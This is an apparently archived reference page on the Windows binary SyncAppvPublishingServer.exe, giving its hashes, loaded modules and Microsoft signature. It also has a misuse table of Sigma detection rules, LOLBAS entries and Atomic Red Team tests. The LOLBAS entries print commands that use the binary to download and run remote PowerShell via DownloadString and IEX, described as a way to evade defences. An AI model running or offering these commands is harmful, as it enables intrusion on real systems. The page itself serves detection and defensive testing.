SyncAppvPublishingServer.exe | Microsoft Application Virtualization Sync Utility

Archived: 2026-04-05 20:18:16 UTC

SyncAppvPublishingServer.exePermalink

- File Path: `C:\Windows\system32\SyncAppvPublishingServer.exe`
- Description: Microsoft Application Virtualization Sync Utility

HashesPermalink

Type	Hash
MD5	`3C291419F60CDF9C2E4E19AD89944FA3`
SHA1	`0B6D803C876B6313CE08A79B2A98F6E3BAC97689`
SHA256	`53A78D6C3D05552E616897712D0D16BF14D0030AF2BB367841B6AECC883FF218`
SHA384	`D7A55317A767950F5682573888B9156EFCB9F7BD73D44A61FAD253B6BBCB9785E56AE0F8B87009CEF5047091D6F61562`
SHA512	`587B9BC171988CB41E3A0B19AB7A242DB23D070F70429F8061D095C1CB142498E8A6239004055C83439E6AD4EE52735F9BF97C3145622D0CF710214020`
SSDEEP	`768:G6FyyphiE9jr4jwmp3PwysQdwRUuKs27cRg1Pb7aJGgZ:G6t9jrN8P3sQOUwSuYPSJGI`
IMP	`1EC41853BAB928648731DDAB143F3159`
PESHA1	`EB4A6346C6342096471F65E6402E29B99ECEC8CF`
PE256	`960CDC3E9C992799BF8FB7A29EB592C492079DA0F5CE562BA0261C509E4D1E08`

Runtime DataPermalink

Loaded Modules:Permalink

Path
C:\Windows\System32\combase.dll
C:\Windows\System32\GDI32.dll
C:\Windows\System32\gdi32full.dll
C:\Windows\System32\KERNEL32.DLL
C:\Windows\System32\KERNELBASE.dll
C:\Windows\System32\msvcp_win.dll
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\System32\ole32.dll
C:\Windows\System32\RPCRT4.dll
C:\Windows\System32\SHELL32.dll
C:\Windows\system32\SyncAppvPublishingServer.exe
C:\Windows\System32\ucrtbase.dll
C:\Windows\System32\USER32.dll
C:\Windows\System32\win32u.dll

SignaturePermalink

- Status: Signature verified.
- Serial: `33000002EC6579AD1E670890130000000002EC`

- Thumbprint: `F7C2F2C96A328C13CDA8CDB57B715BDEA2CBD1D9`
- Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
- Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

- Original Filename: syncappvpublishingserver.exe
- Product Name: Microsoft Windows Operating System
- Company Name: Microsoft Corporation
- File Version: 10.0.19041.1320 (WinBuild.160101.0800)
- Product Version: 10.0.19041.1320
- Language: English (United States)
- Legal Copyright: Microsoft Corporation. All rights reserved.
- Machine Type: 64-bit

File ScanPermalink

- VirusTotal Detections: Unknown

File Similarity (ssdeep match)Permalink

File	Score
C:\Windows\system32\SyncAppvPublishingServer.exe	49
C:\Windows\system32\SyncAppvPublishingServer.exe	49

Possible MisusePermalink

*The following table contains possible examples of `SyncAppvPublishingServer.exe` being misused. While `SyncAppvPublishingServer.exe` is **not** inherently malicious, its legitimate functionality can be abused for malicious purposes.*

Source	Source File	Example
sigma	powershell_syncappvpublishingserver_exe.yml	`title: SyncAppvPublishingServer Execution to Bypas Powershell Restriction`
sigma	powershell_syncappvpublishingserver_exe.yml	`description: Detects SyncAppvPublishingServer proc execution which usually utilized by adversaries to PowerShell execution restrictions.`
sigma	powershell_syncappvpublishingserver_exe.yml	`- https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishin`
sigma	powershell_syncappvpublishingserver_exe.yml	`- 'SyncAppvPublishingServer.exe'`
sigma	process_creation_syncappvpublishingserver_exe.yml	`title: SyncAppvPublishingServer Execution to Bypas Powershell Restriction`
sigma	process_creation_syncappvpublishingserver_exe.yml	`description: Detects SyncAppvPublishingServer proc execution which usually utilized by adversaries to PowerShell execution restrictions.`
sigma	process_creation_syncappvpublishingserver_exe.yml	`- https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishin`
sigma	process_creation_syncappvpublishingserver_exe.yml	`Image|endswith: '\SyncAppvPublishingServer.exe'`
sigma	image_load_in_memory_powershell.yml	`- '\syncappvpublishingserver.exe'`
sigma	posh_pm_syncappvpublishingserver_exe.yml	`title: SyncAppvPublishingServer Execution to Bypas Powershell Restriction`
sigma	posh_pm_syncappvpublishingserver_exe.yml	`description: Detects SyncAppvPublishingServer proc execution which usually utilized by adversaries to PowerShell execution restrictions.`

Source	Source File	Example
sigma	posh_pm_syncappvpublishingserver_exe.yml	`- https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishin`
sigma	posh_pm_syncappvpublishingserver_exe.yml	`ContextInfo|contains: 'SyncAppvPublishingServer.e`
sigma	posh_ps_syncappvpublishingserver_exe.yml	`title: SyncAppvPublishingServer Execution to Bypas Powershell Restriction`
sigma	posh_ps_syncappvpublishingserver_exe.yml	`description: Detects SyncAppvPublishingServer proc execution which usually utilized by adversaries to PowerShell execution restrictions.`
sigma	posh_ps_syncappvpublishingserver_exe.yml	`- https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishin`
sigma	posh_ps_syncappvpublishingserver_exe.yml	`ScriptBlockText|contains: 'SyncAppvPublishingServ`
sigma	proc_creation_win_syncappvpublishingserver_execute_powershell.yml	`title: SyncAppvPublishingServer Execute Arbitrary PowerShell Code`
sigma	proc_creation_win_syncappvpublishingserver_execute_powershell.yml	`description: Executes arbitrary PowerShell code us SyncAppvPublishingServer.exe.`
sigma	proc_creation_win_syncappvpublishingserver_execute_powershell.yml	`- https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishin`
sigma	proc_creation_win_syncappvpublishingserver_execute_powershell.yml	`Image|endswith: '\SyncAppvPublishingServer.exe'`
sigma	proc_creation_win_syncappvpublishingserver_vbs_execute_powershell.yml	`title: SyncAppvPublishingServer VBS Execute Arbitr PowerShell Code`
sigma	proc_creation_win_syncappvpublishingserver_vbs_execute_powershell.yml	`description: Executes arbitrary PowerShell code us SyncAppvPublishingServer.vbs`
sigma	proc_creation_win_syncappvpublishingserver_vbs_execute_powershell.yml	`- https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishin`
sigma	proc_creation_win_syncappvpublishingserver_vbs_execute_powershell.yml	`- '\SyncAppvPublishingServer.vbs'`
LOLBAS	Syncappvpublishingserver.yml	`Name: SyncAppvPublishingServer.exe`
LOLBAS	Syncappvpublishingserver.yml	`- Command: SyncAppvPublishingServer.exe "n;(New-Ob Net.WebClient).DownloadString('http://some.url/scri | IEX"`
LOLBAS	Syncappvpublishingserver.yml	`Usecase: Use SyncAppvPublishingServer as a Powersh to execute Powershell code. Evade defensive counter measures`
LOLBAS	Syncappvpublishingserver.yml	`- Path: C:\Windows\System32\SyncAppvPublishingServ`
LOLBAS	Syncappvpublishingserver.yml	`- Path: C:\Windows\SysWOW64\SyncAppvPublishingServ`
LOLBAS	Syncappvpublishingserver.yml	`- IOC: SyncAppvPublishingServer.exe should never b unless App-V is deployed`
LOLBAS	Syncappvpublishingserver.yml	`Name: Syncappvpublishingserver.vbs`
LOLBAS	Syncappvpublishingserver.yml	`- Command: SyncAppvPublishingServer.vbs "n;((New-O Net.WebClient).DownloadString('http://some.url/scri | IEX"`
LOLBAS	Syncappvpublishingserver.yml	`- Path: C:\Windows\System32\SyncAppvPublishingServ`
atomic-red-team	index.md	- Atomic Test #2: SyncAppvPublishingServer - Execute a PowerShell code [windows]

Source	Source File	Example
atomic-red-team	index.md	- Atomic Test #1: SyncAppvPublishingServer Signed Scr PowerShell Command Execution [windows]
atomic-red-team	windows-index.md	- Atomic Test #2: SyncAppvPublishingServer - Execute a PowerShell code [windows]
atomic-red-team	windows-index.md	- Atomic Test #1: SyncAppvPublishingServer Signed Scr PowerShell Command Execution [windows]
atomic-red-team	T1216.md	- Atomic Test #1 - SyncAppvPublishingServer Signed Sc PowerShell Command Execution
atomic-red-team	T1216.md	## Atomic Test #1 - SyncAppvPublishingServer Signed S PowerShell Command Execution
atomic-red-team	T1216.md	Executes the signed SyncAppvPublishingServer script wi options to execute an arbitrary PowerShell command.
atomic-red-team	T1216.md	C:\windows\system32\SyncAppvPublishingServer.vbs "\ {command_to_execute}"
atomic-red-team	T1218.md	- Atomic Test #2 - SyncAppvPublishingServer - Execute PowerShell code
atomic-red-team	T1218.md	## Atomic Test #2 - SyncAppvPublishingServer - Execut arbitrary PowerShell code
atomic-red-team	T1218.md	Executes arbitrary PowerShell code using SyncAppvPublishingServer.exe. Requires Windows 10.
atomic-red-team	T1218.md	SyncAppvPublishingServer.exe "n; #{powershell_code}"

Source	Source File	Example
